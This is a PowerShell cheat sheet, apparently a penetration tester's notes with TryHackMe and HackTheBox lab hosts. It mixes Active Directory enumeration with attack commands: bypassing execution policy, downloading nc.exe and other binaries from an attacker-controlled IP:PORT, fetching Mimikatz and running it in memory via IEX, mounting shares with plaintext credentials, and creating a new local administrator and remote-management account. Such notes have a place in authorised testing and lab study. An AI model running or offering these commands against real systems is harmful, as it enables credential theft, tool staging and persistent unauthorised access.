Powershell Cheat sheet

Get all the groups with their user in count.

Get-ADGroup -Filter * | ForEach-Object { $_.Name + " : " + (Get-ADGroupMember -Identity $_.DistinguishedName | Where-Object { $_.objectClass -eq 'user' }).Count }

powershell -executionpolicy bypass

Downloading file with Powershell

powershell.exe "(New-object System.Net.WebClient).DownloadFile('http://domain.com/whoami.exe','c:\Users\Public\whoami.exe')"
powershell "(New-object System.Net.WebClient).Downloadfile('http://IP:PORT/nc.exe','nc.exe')"

Executing an Application from Powershell

println new ProcessBuilder("payload.exe").redirectErrorStream(true).start().text

Switching from normal user into another

$username = 'user'
$password = 'password'

$securePassword = ConvertTo-SecureString
$password -AsPlainText -Force

$credential = New-Object System.Management.Automation.PSCredential
$username, $securePassword

[+]powershell script to Download mimikatz and execute it in memory only:

$browser = New-Object System.Net.WebClient $browser.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials IEX($browser.DownloadString("https://raw.githubusercontent.Mimikatz.ps1"))
invoke-Mimikatz  

Powershell Cheat sheet

[+]

Get-WmiObject -Class win32_OperatingSystem   //Get information about the operating system

Get-Service | ? {$_.Status -eq "Running"} | select -First 2 |fl     //format list. show all the details about this proc

Cheatsheet

Enumerate Through powershell

Get-ADUser cmdlet to enumerate AD users]

Get-ADUser -Identity gordon.stevens -Server za.tryhackme.com -Properties *

`List all the possible user

Get-ADUser -Filter 'Name -like "*stevens"' -Server za.tryhackme.com | Format-Table Name,SamAccountName -A

Get-ADGroup cmdlet to enumerate AD groups

Get-ADGroup -Identity Administrators -Server za.tryhackme.com

enumerate group membership using the Get-ADGroupMember cmdlet

Get-ADGroupMember -Identity Administrators -Server za.tryhackme.com

Powershell Credential object (PSCredential)

PS C:\htb> $username = 'plaintext'
PS C:\htb> $password = 'Password123'
PS C:\htb> $secpassword = ConvertTo-SecureString $password -AsPlainText -Force
PS C:\htb> $cred = New-Object System.Management.Automation.PSCredential $username, $secpassword
PS C:\htb> New-PSDrive -Name "N" -Root "\\192.168.220.129\Finance" -PSProvider "FileSystem" -Credential $cred

Environment Variables in Windows

How to use them in PowerShell

Environment Varaibles can be used in PowerShell with the prefix $env:.

Example*: Variable: %APPDATA% In Powershell: $env:APPDATA

List of environment variables

Add a user with admin privilege

First we create the account itself: net user USERNAME PASSWORD /add

Next we add our newly created account in the "Administrators" and "Remote Management Users" groups: net localgroup Administrators USERNAME /add net localgroup "Remote Management Users" USERNAME /add

Last updated